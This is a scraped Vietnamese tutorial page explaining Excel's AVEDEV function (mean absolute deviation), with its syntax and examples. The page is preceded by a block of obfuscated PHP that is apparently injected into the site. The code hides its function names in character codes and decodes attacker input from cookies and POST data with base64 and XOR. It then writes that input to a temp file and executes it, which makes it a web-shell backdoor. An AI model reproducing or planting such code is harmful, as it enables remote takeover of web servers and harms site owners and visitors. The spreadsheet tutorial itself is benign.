$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm tính trung bình độ lệch tuyệt đối trong Excel - Tải Chùa

Hàm tính trung bình độ lệch tuyệt đối trong Excel

by admin • 8 Tháng chín, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post
Hàm AVEDEV là hàm sẽ giúp bạn tính toán trung bình của trị tuyệt đối các dữ liệu cho trước với giá trị trung bình của tập hợp.

Trong phân tích và xử lý số liệu bạn cần phải tính trung bình độ lệch tuyệt đối của những biến cho trước, chính vì vậy, nên bạn rất cần đến hàm AVEDEV.

Hàm AVEDEV trong excel sẽ giúp bạn giải quyết các vấn đề một cách nhanh chóng và chính xác, hãy cùng tìm hiểu công thức và cách sử dụng của hàm AVEDEV với chúng tôi bạn nhé.

Hàm AVEDEV là hàm sẽ giúp bạn tính toán trung bình của trị tuyệt đối các dữ liệu cho trước với giá trị trung bình của tập hợp. Hàm này được dùng làm thước đo cho sự biến đổi của tập số liệu, để hiểu rõ hơn về cú pháp và cách sử dụng hàm AVEDEV trên bảng tính, bạn theo dõi bài viết dưới đây nhé.

 

Hàm AVEDEV trong Excel

 

Cú Pháp thực hiện: AVEDEV(number1, [number2], …)

Trong Đó: number1, number2, là các giá trị cần tính độ lệch tuyệt đối, các giá trị này nằm trong khoảng từ 1 đến 255 đối số.

Lưu ý:

  • Các dữ liệu cho trước nhất định phải là số, tên, tham chiếu có chứa giá trị số hoặc mảng.
  • Nếu tham chiếu hay mảng chứa văn bản, ô trống hay giá trị logic thì những giá trị này sẽ bị bỏ qua.
  • Những ô có giá trị là 0 thì vẫn được tính.

Hướng dẫn sử dụng hàm AVEDEV trong Excel

Ví dụ minh họa cho hàm AVEDEV.

VD 1: Sai số tuyệt đối trung bình của các đối số trong các công thức là:

  • AVEDEV(1)=0.
  • AVEDEV(1,2)=0,5.

VD 2: Tính trung bình độ lệch tuyệt đối điểm số của các học sinh được cho bằng bảng dưới đây.

  • Hàm AVEDEV sẽ trả về giá trị trung bình của tổng các trị tuyệt đối hiệu của điểm và trung bình cộng.
  • Kết quả độ lệch tuyệt đối thu được là ĐTB.
  • Hi vọng với thủ thuật nhỏ này sẽ giúp ích cho các bạn trong việc ứng dụng thành công hàm AVEDEV khi phân tích các dữ liệu, thông tin.

Bài viết cùng chủ đề:

Chuyên mục bài viết